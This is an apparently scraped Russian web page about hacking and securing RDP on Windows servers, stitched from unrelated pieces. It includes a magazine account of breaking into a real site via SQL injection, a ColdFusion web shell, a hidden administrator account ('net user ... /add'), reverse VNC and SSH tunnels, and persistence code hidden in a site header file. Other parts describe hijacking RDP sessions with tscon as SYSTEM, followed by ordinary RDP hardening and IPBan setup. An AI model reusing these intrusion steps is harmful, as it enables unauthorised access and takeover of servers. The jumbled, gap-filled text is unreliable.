Rdp как взломать на windows server 2012

Обновлено: 05.07.2024

Любой взлом преследует цель, которая определяет его ценность. Задефейсить
сайт для латентных любителей клубнички или поиметь очередной рутовый шелл –
решать тебе. Реалии таковы, что любая уязвимость в web-приложении таит угрозу
для сервера. И если ты не ограничиваешься банальными и уже слегка поднадоевшими
SQL-инъекциями – статья для
тебя. На входе адрес жертвы, на выходе админский доступ по RDP – классика
проникновения!

Прелюдия, или Как все начиналось

Глянув на иконку любимого сканера и ухмыльнувшись, я решил все-таки не
напрягать админов, а обратиться к Великому Индексу и решить все тихо и мирно.
Итак, заветная фраза "insite:ism.ws", кнопка Search и… можно считать, что дело
сделано?

Порядка 10000 результатов от Google обещали кропотливую работу. Лис быстро
обзавелся вкладками, в которые полетели всякие кавычки, равенства, дефисы и
прочая нечисть.

Глава 1, или Все мы грешны

Практика показывает, что почти любой крупный ресурс имеет инъекции. Хоть
маленькая, незрячая и фильтруемая инъекция, но есть наверняка. Надо лишь
присмотреться. Вот и здесь заветный плод был найден по адресу

Все оказалось настолько тривиально, что не возникало ни тени сомнения в
успешности дальнейших действий. Привычная сине-серая страница ошибки ColdFusion,
представшая перед глазами, открыла взору и полный SQL-запрос, и тип СУБД (SQL
Server), и локальный адрес скрипта. Вообще, информативность ошибок, выдаваемых
ColdFusion, просто поражает – даже полный стек вызовов, бери, не хочу.
Инъекция найдена, пора приступать к внедрению.

Глава 2, или Да здравствуют ошибки

Сервер БД от мелкомягких всегда поражал возможностями. Я не говорю о
стандартах, которые, в общем-то, все разработчики СУБД трактуют по-разному. Но
парни из Microsoft, вообще, каким-то своим, неведомым путем идут. Мне, например,
нравится работать с SQL Server. Не надо ни количество колонок подбирать, ни их
типы – ошибку на преобразование вызвал, и в ответе вся информация из базы, как
на блюдечке. Очень удобно! Сначала проверяем возможность вывода:

В ответ получаем ошибку:

Имеем сервер не первой свежести и базу RDCMS-ISM-Core. Внимательно
присмотревшись, я буквально подпрыгнул от радости: аббревиатура CMS явно давала
понять, что сайтик не на коленках сварганен, а целая большая и уважаемая контора
это чудо написала и бабла срубила. Но об этом позже. А сейчас на очереди
структура БД.

На этом этапе мне детище Microsoft нравится уже не так сильно. Мало того, что
разработчики так и не удосужились сделать нормальный пейджинг результатов, так
еще и row_number в 2000 сервере реализовать не успели. Так что, ждет нас жесткая
эротическая прогулка с использованием топовой конструкции. TOP – это такая
фишка, которая позволяет получить первые несколько записей по запросу. А вот с
какой записи начинать, указать невозможно, что в условиях нашего нереального
взлома ну совсем никак не удобно. Можно, конечно, пойти стандартным путем:
получать по одной записи, запоминать и явно исключать из следующих запросов. Но
мне этот метод совсем не в кайф: и автоматизации трудно поддается, да и длина
URL не резиновая – для больших баз накроет нас медным тазом.

Поэтому мы всех обманем. Сортируем вверх и вниз – получаем приемлемый
пейджинг. Сервак пощадим и добавим условия на проверку названий полей – пусть
они пароли какие-нибудь содержат. Ну а для того, чтобы совсем круто было,
определим для начала их количество (примеры запросов смотри ниже). Вот так вот –
их 9. Поехали!

Сразу бросилась в глаза табличка ES_LoginInfo (RDCMS-ISM-Core : dbo :
ES_LoginInfo : Password). В общем-то, можно потирать руки и заказывать пиццу, но
не тут-то было. Определив структуру таблицы, я получил следующую картину. В
таблице присутствовало три интересных поля: EntityID, Username и Password.
Думаю, объяснять не надо, что я быстро составил новую серию запросов и моим
глазам предстали данные юзверей. Пароли хранились в открытом виде и можно было
сломя голову кидаться на сайт в поисках заветной админки. Я, кстати, когда
добрался до исходников, долго и тупо втыкал, почему нельзя было шифровать
пароли, если парни-разработчики CMS это предусмотрели (SHA-1, SHA-512, MD5) и
даже реализовали собственный алгоритм (iMIS). Ну да ладно, я залогинился,
пошарил по сайту и вернулся к дампу структуры БД – еще же в 8 таблицах были поля
с паролями.

Как же устроить пейджинг?

Получить все данные из БД за один запрос – мечта любого хакера. Но жизнь
диктует свои условия и, как правило, взломщик вынужден выуживать информацию
строчка за строчкой. Но вот беда, разработчики СУБД решили ситуацию усугубить,
причем каждый по-своему. Итак, о схемах пейджинга данных.

1. MySQL. Предлагает конструкцию limit [offset, ]rowcount. Выбираем
rowcount (в нашем случае 1) строк, начиная со строки offset. Гениально, просто
молодцы!

2. Oracle. Используем псевдостолбец rownum. Проблема в том, что rownum
генерируется автоматически, и нельзя, к примеру, выставить условие типа
rownum=n. Такой запрос вернет пустой результат. Без подзапросов здесь не
обойтись:

select fieldname from (select a.fieldname, rownum r from (select fieldname
from tablename) as a where r=<offset>)

3. SQL Server 2005. Здесь все по стандарту: используем row_number().
Например:

select field1, field2 from (select row_number() over (order by a.field1) as
r, a.field1, a.field2 from (select field1, field2 from tablename) as a) as b
where r=<offset>

4. SQL Server 2000. А вот здесь все жестко: у нас есть только TOP. Для
пейджинга применим такую хитрость: если нам нужно выбрать запись с номером
offset, мы сначала выберем TOP <offset> записей с восходящей сортировкой, а
уже из полученного результата выберем первую запись с нисходящей. В результате
последняя строка станет первой и… дело сделано. Только помни, для получения
корректного результата сортировать нужно по всем полям в запросе!

Глава 3, или Доступ открыт

Глава 4, или Холодный сплав

Что делать с FTP, полагаю, вопросов ни у кого не вызывает. На ум сразу
приходит обеспечить выполнение команд на серваке и выбраться, наконец, на
свободу из душных объятий web-приложения. Очевидно, нужен веб-shell, который
позволит бродить по серверу и выполнять команды. Но вот беда – никаких следов
PHP или, на худой конец, Perl обнаружено не было. А значит, момент истины
наступил: придется программить на ColdFusion. Очень гибкая и простая в освоении
среда (по словам разработчиков), но мне почему-то ни разу не нравится. Так что,
гуглим на тему Web-shell’ов и дико обламываемся. Все ссылки приводят к одному и
тому же невзрачному кусочку кода, который только команды исполнять и умеет. Ну
да ладно, сейчас подточим и подпишем, нужно лишь матчасть поднять. Некоторое
время ушло на нереально крутую разработку, после чего на свет появились два
отпрыска. Первый нас водит по дирам и файлы показывает, второй нас слушает и
делает, что мы прикажем.

Файлы быстро заняли свое законное место. Вскоре я понял, что владею правами
учетки SYSTEM, а это было нереально круто. Останавливаться на достигнутом было
нельзя.

Глава 5, или Черный брат

net user st password /add
net localgroup Administrators st /add

Глава 6, или Привет, окошки

Основная проблема заключалась в организации обратного коннекта на наш дедик.
Опыт с netcat ясно давал понять, что порты блокируются только на входящие
соединения, поэтому организация обратного коннекта от какой-нибудь графической
системы управления наверняка дала бы возможность рулить серваком. Естественно,
выбор пал на VNC. Схема внедрения VNC, в целом, достаточно проста (для TightVNC,
например):

  1. На сервак заливаются winvnc.exe и wm_hooks.dll.
  2. Устанавливается и запускается VNC-сервер.
    winvnc.exe –install
    net start "VNC Server"
  3. На дедике запускается клиент в режиме прослушивания.
  4. Осуществляется реверс-коннект.
    winvnc.exe –connect <host>:<port>.

У нас почти все схвачено, кроме одной маленькой детали, а именно – наличия
доступа к рабочему столу. Надежда умирала, едва успев родиться, так как шелл у
нас был с правами учетной записи SYSTEM. Не были бы мы хакерами, если бы не
попробовали, но, как и ожидалось, все попытки шли лесом. Был даже испробован
Metasploit с windows/vncinject/reverse_tcp нагрузкой (жутко тормозная вещь), но
и Великий Фреймворк не помог. Принцип внедрения VNC на сервер посредством
неинтерактивного шелла и в условиях отсутствия доступа к рабочему столу остался
неведом. На самом деле, я даже обрадовался – зачем нам VNC, если есть RDP. Надо
только пробиться через фаер.

Гениальная мысль с PPTP заключается в создании PPTP-соединения до нашего
дедика – и в дальнейшем обращении к узлу по внутренней адресации с
туннелированием трафика сквозь фаер. В Винде все соединения настраиваются
графически, но должен быть способ работы из консоли. Запускаем на тестовой
машине procmon от
Руссиновича и мониторим реестр в момент вызова клиента подключения к сети.
Результат не поддается разумному объяснению, - ничего интересного с реестром не
происходит. Microsoft сама себя превзошла. Стоило создавать реестр, если
собственные же модули им не пользуются. Пусть подумают на досуге, а мы, тем
временем, нашли "телефонную книгу" по адресу C:\Documents and Settings\All
Users\Application Data\ Microsoft\Network\Connections\Pbk\rasphone.pbk, в
которой, собственно, и описываются параметры подключения к Dial-up и VPN-сетям.
Создаем подключение к дедику (с установленной и настроенной службой RRAS) на
тестовой машине и копируем полученный файл rasphone.pbk на взломанный хост.
Затем создаем командный файл следующего содержания:

rasdial connection_name user password
route add 0.0.0.0 mask 0.0.0.0 remotehostgateway

Вторая строчка нужна для восстановления маршрута по умолчанию после
подключения, чтобы наш дедик не взял на себя все обязательства по маршрутизации
трафика. Запускаем батник и выпадаем в осадок :). Соединения нам не видать, как
своих ушей, видимо, фаер блокирует исходящие соединения на основе типа
протокола. В черный список попал и наш GRE-трафик.

Отчаяние все сильнее проникало в наши души, но мы не сдались. По правде,
тупили мы очень долго, так как надо было сразу обращаться за помощью к SSH. Это,
кстати, очень мощный зверь, о чем не раз писалось в ][. Не только шелл можно
получить, но и много других хитрых вещей придумать. Наша последняя надежда
заключалась в успешной реализации всего трех шагов:

  • запустить на дедике SSH-сервер
  • залить на узел SSH-клиент
  • подключиться и создать нужный маппинг портов

Я многое могу понять, но, например, почему в Винде в XXI веке до сих пор нет
встроенного SSH-сервера, мне неведомо. Ну да ладно, ставим любой, благо их
довольно много. В качестве клиента, естественно, используется любимый putty. Но
только putty не простой, а волшебный. Если помнишь, при обращении к новому узлу
putty честно предлагает сохранить сигнатуру в кэше. Доступ к командной строке у
нас интерактивностью не отличается, и ничего мы ответить на этот вопрос попросту
не сможем. Значит, надо, чтобы отпечаток сохранялся автоматически, а putty этого
не умеет. Немного погуглив, мы нашли Quest PuTTY 0.60_q1.129. Все то же самое,
плюс то, что нам нужно!

Заливаем plink.exe на сервак и исполняем команду:

Смотрим в консоли SSH-сервера и дико радуемся – есть коннект! Теперь
запускаем mstsc и коннектимся на localhost:3390. Нашему взору предстает окно
входа Windows 2000. Вводим туда данные добавленного c помощью "net user
администратора" и наслаждаемся графикой с правами администратора. Ура, можно
хлебнуть настоящего рок-н-рольного пойла, то есть виски, и отпраздновать успех.

Глава 7, или Даешь автоматизацию

На первый взгляд, все замечательно, но каждый раз заходить на web-shell и
запускать команду на подключение по SSH на следующий день стало слишком
утомительным. Поэтому наикрутейший ColdFusion-шелл был немного модифицирован для
исполнения команды подключения без участия человека. Код модификации шелла
смотри на нашем DVD.

Кусок кода был заныкан в файл header.cfm, который, в свою очередь,
подключается к большинству файлов CMS. Далее создаем простую форму, указывающую
на любой *.cfm-файл на серваке, и получаем простой способ организации RDP.

Эпилог, или Все только начинается

Когда был найден сайт разработчика CMS, руки горели проверить его на
прочность. Ошибка в CMS была на том же месте. Вот только таблица SM_Sites
содержала одну единственную пустую запись, и мечты об FTP не осуществились.
Пароли были зашифрованы, и, судя по всему, тем самым зловещим iMIS (длина 120
бит). Возиться было уже неохота, так что мы решили оставить это тебе. Ну а чтобы
был стимул, вбей в Google inurl:navItemNumber – 12000 записей будут манить тебя
и вдохновлять на подвиги.

Для автоматизации поиска уязвимостей можешь воспользоваться следующими
продуктами:

Получение инфы из БД вручную - утомительный и неблагодарный процесс.
Присмотрись к средствам автоматизации (или разработай свой продукт), например
SIPT. ИМХО, прога часто глючит, работает однопоточно, но с задачей справляется.




Полную версию статьи
читай в июньском номере
Хакера!
На нашем диске тебя ждут исходники простого web-shell’а для сайтов под
управлением ColdFusion.

WARNING

Внимание! Информация представлена исключительно с целью ознакомления! Ни автор,
ни редакция за твои действия ответственности не несут!

Как известно, протокол удаленного рабочего стола (Remote Desktop Protocol или RDP) позволяет удаленно подключаться к компьютерам под управлением Windows и доступен любому пользователю Windows, если у него не версия Home, где есть только клиент RDP, но не хост. Это удобное, эффективное и практичное средство для удаленного доступа для целей администрирования или повседневной работы. В последнее время оно приглянулось майнерам, которые используют RDP для удаленного доступа к своим фермам. Поддержка RDP включена в ОС Windows, начиная еще с NT 4.0 и XP, однако далеко не все знают, как ею пользоваться. Между тем можно открывать удаленный рабочий стол Microsoft с компьютеров под Windows, Mac OS X, а также с мобильных устройств с ОС Android или с iPhone и iPad.



Если должным образом разбираться в настройках, то RDP будет хорошим средством удаленного доступа. Он дает возможность не только видеть удаленный рабочий стол, но и пользоваться ресурсами удаленного компьютера, подключать к нему локальные диски или периферийные устройства. При этом компьютер должен иметь внешний IP, (статический или динамический), или должна быть возможность «пробросить» порт с маршрутизатора с внешним IP-адресом.

Серверы RDP нередко применяют для совместной работы в системе 1С, или на них разворачивают рабочие места пользователей, позволяя им подключаться к своему рабочему месту удаленно. Клиент RDP позволяет дает возможность работать с текстовыми и графическими приложениями, удаленно получать какие-то данные с домашнего ПК. Для этого на роутере нужно пробросить порт 3389, чтобы через NAT получить доступ к домашней сети. Тоже относится к настройке RDP-сервера в организации.

RDP многие считают небезопасным способом удаленного доступа по сравнению с использованием специальных программ, таких как RAdmin, TeamViewer, VNC и пр. Другой предрассудок – большой трафик RDP. Однако на сегодня RDP не менее безопасен, чем любое другое решение для удаленного доступа (к вопросу безопасности мы еще вернемся), а с помощью настроек можно добиться высокой скорости реакции и небольшой потребности в полосе пропускания.

Как защитить RDP и настроить его производительность

Шифрование и безопасность Нужно открыть gpedit.msc, в «Конфигурация компьютера — Административные шаблоны — Компоненты Windows — Службы удаленных рабочих столов — Безопасность» задать параметр «Требовать использования специального уровня безопасности для удаленных подключений по методу RDP» и в «Уровень безопасности» выбрать «SSL TLS». В «Установить уровень шифрования для клиентских подключений» выберите «Высокий». Чтобы включить использование FIPS 140-1, нужно зайти в «Конфигурация компьютера — Конфигурация Windows — Параметры безопасности — Локальные политики — Параметры безопасности» и выбрать «Системная криптография: использовать FIPS-совместимые алгоритмы для шифрования, хэширования и подписывания». Параметр «Конфигурация компьютера — Параметры Windows — Параметры безопасности — Локальные политики — Параметры безопасности» параметр «Учетные записи: разрешать использование пустых паролей только при консольном входе» должен быть включен. Проверьте список пользователей, которые могут подключаться по RDP.
Оптимизация Откройте «Конфигурация компьютера — Административные шаблоны — Компоненты Windows — Службы удаленных рабочих столов — Среда удаленных сеансов». В «Наибольшая глубина цвета» выберите 16 бит, этого достаточно. Снимите флажок «Принудительная отмена фонового рисунка удаленного рабочего стола». В «Задание алгоритма сжатия RDP» установите «Оптимизация использования полосы пропускания. В «Оптимизировать визуальные эффекты для сеансов служб удаленных рабочих столов» установите значение «Текст». Отключите «Сглаживание шрифтов».

Базовая настройка выполнена. Как подключиться к удаленному рабочему столу?

Подключение к удаленному рабочему столу

Для подключения по RDP необходимо, на удаленном компьютере была учетная запись с паролем, в системе должны быть разрешены удаленные подключения, а чтобы не менять данные доступа при постоянно меняющемся динамическом IP-адресе, в настройках сети можно присвоить статический IP-адрес. Удаленный доступ возможен только на компьютерах с Windows Pro, Enterprise или Ultimate.

Для удаленного подключения к компьютеру нужно разрешить подключение в «Свойствах Системы» и задать пароль для текущего пользователя, либо создать для RDP нового пользователя. Пользователи обычных аккаунтов не имеют права самостоятельно предоставлять компьютер для удаленного управления. Такое право им может дать администратор. Препятствием использования протокола RDP может стать его блокировка антивирусами. В таком случае RDP нужно разрешить в настройках антивирусных программ.

Стоит отметить особенность некоторых серверных ОС: если один и тот же пользователь попытается зайти на сервер локально и удаленно, то локальный сеанс закроется и на том же месте откроется удаленный. И наоборот, при локальном входе закроется удаленный сеанс. Если же зайти локально под одним пользователем, а удаленно — под другим, то система завершит локальный сеанс.

Подключение по протоколу RDP осуществляется между компьютерами, находящимися в одной локальной сети, или по интернету, но для этого потребуются дополнительные действия – проброс порта 3389 на роутере, либо соединение с удаленным компьютером по VPN.

Чтобы подключиться к удаленному рабочему столу в Windows 10, можно разрешить удаленное подключение в «Параметры — Система — Удаленный рабочий стол» и указать пользователей, которым нужно предоставить доступ, либо создать отдельного пользователя для подключения. По умолчанию доступ имеют текущий пользователь и администратор. На удаленной системе запустите утилиту для подключения.

Нажмите Win+R, введите MSTSC и нажмите Enter. В окне введите IP-адрес или имя компьютера, выберите «Подключить», введите имя пользователя и пароль. Появится экран удаленного компьютера.



При подключении к удаленному рабочему столу через командную строку (MSTSC) можно задать дополнительные параметры RDP:
Параметр Значение
/v:<сервер[: порт]>
Удаленный компьютер, к которому выполняется подключение.
/admin
Подключение к сеансу для администрирования сервера.
/edit
Редактирование RDP-файла.
/f
Запуск удаленного рабочего стола на полном экране.
/w:<ширина>
Ширина окна удаленного рабочего стола.
/h:<высота>
Высота окна удаленного рабочего стола.
/public
Запуск удаленного рабочего стола в общем режиме.
/span
Сопоставление ширины и высоты удаленного рабочего стола с локальным виртуальным рабочим столом и развертывание на несколько мониторов.
/multimon
Настраивает размещение мониторов сеанса RDP в соответствии с текущей конфигурацией на стороне клиента.
/migrate
Миграция файлов подключения прежних версий в новые RDP-файлы.


Для Mac OS компания Microsoft выпустила официальный RDP-клиент, который стабильно работает при подключении к любым версиям ОС Windows. В Mac OS X для подключения к компьютеру Windows нужно скачать из App Store приложение Microsoft Remote Desktop. В нем кнопкой «Плюс» можно добавить удаленный компьютер: введите его IP-адрес, имя пользователя и пароль. Двойной щелчок на имени удаленного рабочего стола в списке для подключения откроет рабочий стол Windows.

На смартфонах и планшетах под Android и iOS нужно установить приложение Microsoft Remote Desktop («Удаленный рабочий стол Майкрософт») и запустить его. Выберите «Добавить» введите параметры подключения — IP-адрес компьютера, логин и пароль для входа в Windows. Еще один способ — проброс на роутере порта 3389 на IP-адрес компьютера и подключение к публичному адресу роутера с указанием данного порта. Это делается с помощью опции Port Forwarding роутера. Выберите Add и введите:


А что насчет Linux? RDP –закрытый протокол Microsoft, она не выпускает RDP-клиентов для ОС Linux, но можно воспользоваться клиентом Remmina. Для пользователей Ubuntu есть специальные репозитории с Remmina и RDP.

Протокол RDP также используется для подключения к виртуальным машинам Hyper-V. В отличие от окна подключения гипервизора, при подключении по RDP виртуальная машина видит различные устройства, подсоединенных к физическому компьютеру, поддерживает работу со звуком, дает более качественное изображение рабочего стола гостевой ОС и т.д.

У провайдеров виртуального хостинга серверы VPS под Windows по умолчанию обычно также доступны для подключения по стандартному протоколу RDP. При использовании стандартной операционной системы Windows для подключения к серверу достаточно выбрать: «Пуск — Программы — Стандартные — Подключение к удаленному рабочему столу» или нажать Win+R и в открывшемся окне набрать MSTSC. В окне вводится IP-адрес VPS-сервера.

Нажав кнопку «Подключить», вы увидите окно с полями авторизации.

Чтобы серверу были доступны подключенные к вашему ПК USB-устройства и сетевые принтеры, при первом подключении к серверу выберите «Показать параметры» в левом нижнем углу. В окне откройте вкладку «Локальные ресурсы» и выберите требуемые параметры.

С помощью опции сохранения данных авторизации на удаленном компьютере параметры подключения (IP-адрес, имя пользователя и пароль) можно сохранить в отдельном RDP-файлом и использовать его на другом компьютере.

Настройка другой функциональности удаленного доступа

В окне подключения к удаленному компьютеру есть вкладки с настраиваемыми параметрами.

Вкладка Назначение
«Экран» Задает разрешение экрана удаленного компьютера, то есть окна утилиты после подключения. Можно установить низкое разрешение и пожертвовать глубиной цвета.
«Локальные ресурсы» Для экономии системных ресурсов можно отключить воспроизведение звука на удаленном компьютере. В разделе локальных устройств и можно выбрать принтер и другие устройства основного компьютера, которые будут доступны на удаленном ПК, например, USB-устройства, карты памяти, внешние диски.

Подробности настройки удаленного рабочего стола в Windows 10 – в этом видео. А теперь вернемся к безопасности RDP.

Как «угнать» сеанс RDP?

Можно ли перехватывать сеансы RDS? И как от этого защищаться? Про возможность угона RDP-сессии в Microsoft Windows известно с 2011 года, а год назад исследователь Александр Корзников в своем блоге детально описал методики угона. Оказывается, существует возможность подключиться к любой запущенной сессии в Windows (с любыми правами), будучи залогиненным под какой-либо другой.

Некоторые приемы позволяют перехватить сеанс без логина-пароля. Нужен лишь доступ к командной строке NT AUTHORITY/SYSTEM. Если вы запустите tscon.exe в качестве пользователя SYSTEM, то сможете подключиться к любой сессии без пароля. RDP не запрашивает пароль, он просто подключает вас к рабочему столу пользователя. Вы можете, например, сделать дамп памяти сервера и получить пароли пользователей. Простым запуском tscon.exe с номером сеанса можно получить рабочий стол указанного пользователя — без внешних инструментов. Таким образом, с помощью одной команды имеем взломанный сеанс RDP. Можно также использовать утилиту psexec.exe, если она была предварительно установлена:


Или же можно создать службу, которая будет подключать атакуемую учетную запись, и запустить ее, после чего ваша сессия будет заменена целевой. Вот некоторые замечания о том, как далеко это позволяет зайти:

  • Вы можете подключиться к отключенным сеансам. Поэтому, если кто-то вышел из системы пару дней назад, вы можете просто подключиться прямо к его сеансу и начать использовать его.
  • Можно разблокировать заблокированные сеансы. Поэтому, пока пользователь находится вдали от своего рабочего места, вы входите в его сеанс, и он разблокируется без каких-либо учетных данных. Например, сотрудник входит в свою учетную запись, затем отлучается, заблокировав учетную запись (но не выйдя из нее). Сессия активна и все приложения останутся в прежнем состоянии. Если системный администратор входит в свою учетную запись на этом же компьютере, то получает доступ к учетной записи сотрудника, а значит, ко всем запущенным приложениям.
  • Имея права локального администратора, можно атаковать учетную запись с правами администратора домена, т.е. более высокими, чем права атакующего.
  • Можно подключиться к любой сессии. Если, например, это Helpdesk, вы можете подключиться к ней без какой-либо аутентификации. Если это администратор домена, вы станете админом. Благодаря возможности подключаться к отключенным сеансам вы получаете простой способ перемещения по сети. Таким образом, злоумышленники могут использовать эти методы как для проникновения, так и для дальнейшего продвижения внутри сети компании.
  • Вы можете использовать эксплойты win32k, чтобы получить разрешения SYSTEM, а затем задействовать эту функцию. Если патчи не применяются должным образом, это доступно даже обычному пользователю.
  • Если вы не знаете, что отслеживать, то вообще не будете знать, что происходит.
  • Метод работает удаленно. Вы можете выполнять сеансы на удаленных компьютерах, даже если не зашли на сервер.

Наконец, рассмотрим, как удалить подключение к удаленному рабочему столу. Это полезная мера нужна, если необходимость в удаленном доступе пропала, или требуется запретить подключение посторонних к удаленному рабочему столу. Откройте «Панель управления – Система и безопасность – Система». В левой колонке кликните «Настройка удаленного доступа». В разделе «Удаленный рабочий стол» выберите «Не разрешать подключения к этому компьютеру». Теперь никто не сможет подключиться к вам через удаленный рабочий стол.

В завершение – еще несколько лайфхаков, которые могут пригодиться при работе с удаленным рабочим столом Windows 10, да и просто при удаленном доступе.

    Для доступа к файлам на удаленном компьютере можно использовать OneDrive:

В этой статье Raj Chandel научит нас перехватывать сеанс RDP с использованием различных методов. Эту технику злоумышленники используют для проникновения в инфраструктуру после получения доступа. Дальнейшее повествование идет от лица автора .

Введение в RDP

RDP представляет собой протокол удаленного рабочего стола, который работает по порту TCP / UDP 3389 и был разработан компанией Microsoft. Позднее RDP также начал работать и на других ОС. RDP позволяет пользователю подключаться к другому ПК удаленно, используя графический интерфейс. В Windows это стандартный способ для удаленного подключения, однако существует и множество аналогичных инструментов сторонних разработчиков, позволяющих удаленно управлять системами и приложениями.

Особенности RDP

В 2011 году RDP 6.0 поставляется с различными функциями. Эти функции перечислены ниже:

  • Приложения Windows Presentation Foundation
  • Поддержка нескольких мониторов
  • Перенаправление
  • Aero Glass Remoting
  • Шифрованное соединение
  • Уменьшение полосы пропускания
  • Поддерживает до 64 000 каналов для передачи данных

Когда инициируется соединение RDP и данные готовы к передаче, система шифрует их. Эти зашифрованные данные затем дополнительно добавляются в кадры для передачи. Затем данные передаются по принципу TCP / IP.

Wdtshare.sys – драйвер RDP, управляет графическим интерфейсом и отвечает за шифрование и передачу данных. Он также заботится о сжатии данных и добавлении их во фреймы. Tdtcp.sys – транспортный драйвер, убедившись, что данные готовы он отправляет их по сети на по TCP / IP.

Введение в Tscon

Tscon — это утилита Microsoft Windows, представленная в ОС Windows Server 2012. Она используется для подключения к другому сеансу на сервере узла сеансов удаленных рабочих столов. Для работы ей требуется назначение и идентификатор сессии. Учетные данные пользователя также могут быть переданы в качестве параметра в tscon.

Руководство

Поняв протокол RDP и его работу, сосредоточимся на следующей составляющей — протокол RDP позволяет подключаться к другому пользователю в той же системе с помощью tscon.exe. И это то, что мы будем делать в этом методе. Сначала получим RDP-сеанс пользователя 1, то есть yashika, и как только установим RDP-соединение с yashika, получим RDP-соединение пользователя 2, то есть pavan, через yashika (user 1). Единственное условие в этом методе – нужны права администратора yashika (пользователь 1). Начнем с доказательства концепции.

Как можно видеть, на изображении ниже, у нас есть два пользователя — Yashika и Pavan

Для того, чтобы открыть порт RDP, необходимо пройти по следующим шагам:

Шаг 1: Подключение к консоли сервера

В панели управления перейдите к разделу «Серверы». Справа нажмите на кнопку с тремя точками и в выпадающем меню «Консоль»:


Шаг 2: Ввод реквизитов доступа к серверу

Нажмите Ctrl + Alt + Delete или кнопку справа сверху:


Введите пароль администратора сервера. Если вы забыли пароль администратора, воспользуйтесь инструкцией по смене пароля:


Шаг 3: Открыть брандмауэр Windows

В левом нижнем углу нажмите кнопку «Пуск», далее в появившемся окне на значок поиска и введите «Firewall». Windows отобразит результаты поиска, необходимо выбрать «Windows Firewall with Advanced Security»:



Шаг 4: Открытие порта

В новом появившемся окне на панели слева выберите «Inbound Rules», далее на панели справа нажмите «New Rule»:


В открывшемся мастере настроек правил «New Inbound Rule Wizard» выберите пункт «Port» и нажмите «Next»:


Далее введите номер порта - 3389 и нажмите «Next»:


В следующих двух шагах нажмите «Next».

На последнем шаге введите имя вашего правила, например «rdp» и нажмите «Finish»:


Для блокировки неудачных попыток подключения к RDP, можно в ручном режиме проверять журнал событий, чтобы отслеживать IP-адрес тех, кто указывает неверные данные при попытке зайти на RDP и блокировать их при помощи брандмауэра Windows. Однако, это кропотливый и сложный процесс и для упрощения поставленной задачи, есть решение, которое позволяет автоматизировать данные процессы блокировки тех IP-адресов, которые указали неверные данные при попытке входа. Ниже, мы разберем основной принцип автоматической фильтрации и блокировки IP-адресов, для защиты RDP подключения от брутфорса.

Защита RDP подключения от брутфорса при помощи IPBan.

Есть готовое решение IPBan, с открытым исходным кодом, позволяющее производить автоматический мониторинг журнала событий Windows, фиксируя неудачные попытки зайти на сервер по RDP и после 5-й неудачной попытки входа, блокирует в автоматическом режиме IP-адрес на 24 часа.

Решение работает на Windows Server не ниже Windows Server 2008 (Windows XP и Windows Server 2003 не поддерживаются).

Настраиваем IPBan.

2. Выбираем нужную разрядность Windows x86/x64 (на момент создания заметки, была доступна последняя версия IPBan 1.6.0):


3. Скачав архив, распакуйте его содержимое в любую папку (в рассматриваемом примере, создам папку IPBan и расположу ее в корень диска C:).


Зачастую, файлы скачанные с Интернета, система автоматически блокирует. Для корректной работы с файлами, их необходимо разблокировать.

Если файлы не заблокированы, у вас должна быть следующая картина:



Вы можете разблокировать файлы, посредством выполнения команды в PowerShell. Для этого, запустите PowerShell от имени Администратора (как запустить PowerShell от имени Администратора) и в открывшемся окне, выполните команду:

get-childitem "Укажите_расположение_вашей_папки" | unblock-file -confirm


Для наглядности. В моем примере, была выполнена следующая команда в PowerShell:





В результате, у вас станет так:


Примечание. Только для для Windows Server 2008 и для Windows Server 2008 R2!

При этом, для Windows Server 2008 R2, необходимо еще настроить:

6. Создаем службу IPBan, для автозапуска утилиты при запуске системы и ее фоновой работы. Запустите PowerShell от имени Администратора. Выполните в окне PowerShell следующую команду:

sc.exe create IPBAN type= own start= auto binPath= C:\Каталог_с_утилитой\Имя_исполняемого_файла.exe DisplayName= IPBAN
PowerShell должен быть обязательно запущен от имени Администратора (как запустить PowerShell от имени Администратора).


Для наглядности. В моем примере, была выполнена следующая команда в PowerShell:

sc.exe create IPBAN type= own start= auto binPath= C:\IPBan\DigitalRuby.IPBan.exe DisplayName= IPBAN

На заметку. По мере выхода новых версий утилиты IPBan, имя исполняемого файла, несколько раз менялось. На момент написания заметки, исполняемый файл имеет следующее имя: DigitalRuby.IPBan.exe.


А вот в самой првой версии IPBan, имя исполняемого файла, было: IPBan.exe






Свойства правила IPBan_Block_0:



Частые ошибки и заметки.

На форумах, можно найти информацию по использованию утилиты IPBan, где также указано, что в настройках Локальной политики нужно отключить логины NTLM и разрешить только NTLM2-вход в систему. Как указал выше, это только для Windows Server 2008 и Windows Server 2008 R2. Если вы сделаете так например на Windows Server 2019, то не сможете зайти на свой сервер.

Правило IPBan_Block_0 зачастую не создается сразу, а только после неудачной попытки входа.

Вы можете изменить время блокировки IP, количество попыток и т.д. посредством корректировки данных в файле ipban.config.

Если у вас будут поправки и дополнения, оставляйте комментарии. Проверить работу данное решения на Windows Server 2008, Windows Server 2008 R2 и Windows Server 2012, у меня нет сейчас возможности. При этом, стоит подумать об отказе использования Windows Server 2008 и старее. Про использование XP и речи не идет.

Добавлено 04.07.2021

Есть доступное по цене и надежное решение с готовым виртуальным сервером VPN для бизнеса, которое можно развернуть буквально за считанные минуты. Услуга предоставляется только для юридических лиц Украины. Узнать больше.

Бизнес-предложение для фирм, предприятий, частных лиц и организаций (облачные решения).

Резервное копирование данных, защита данных от потерь, организация удаленного офиса для сотрудников, настройка бухгалтерии в облаке, VDS/VPS , опытная и отзывчивая поддержка, обслуживание и сопровождение на базе TUCHA.UA. Данное предложение актуально для коммерческих и государственных структур. Узнать больше. Услуги предоставляются данной компанией по СНГ и за пределами (Европа, США).

4 Комментарии

Приветствуются комментарии с полезной информацией: уточнениями, дополнениями, вопросами. Очень хорошо, когда вы делитесь своим опытом. Ваш опыт и информация, могут быть полезны другим.
Категорически запрещено в комментариях использование ненормативной лексики (в том числе нецензурную речь). Комментарии со спамом и рекламой, не пройдут модерацию.
Все комментарии, проходят модерацию и публикуются только после рассмотрения и одобрения.

Автоматически все скачалось и установилось. Сервис работает, правила в бренмауэре есть.
Решил протестить как отрабатывает, через внешнюю сеть подключаюсь, ввожу неверные логин пароль, 5 раз, 10 раз - эффекта ноль, ничего не блокирует, попробовал перезапустить службу IPBan и только потом появился IP адрес с которого я пытался подобрать пароль, в правиле IPBan_Block_0.
Может какие то настройки еще нужно произвести, чтобы блокировка сразу происходила после неверных 5 попыток?


Здравствуйте.
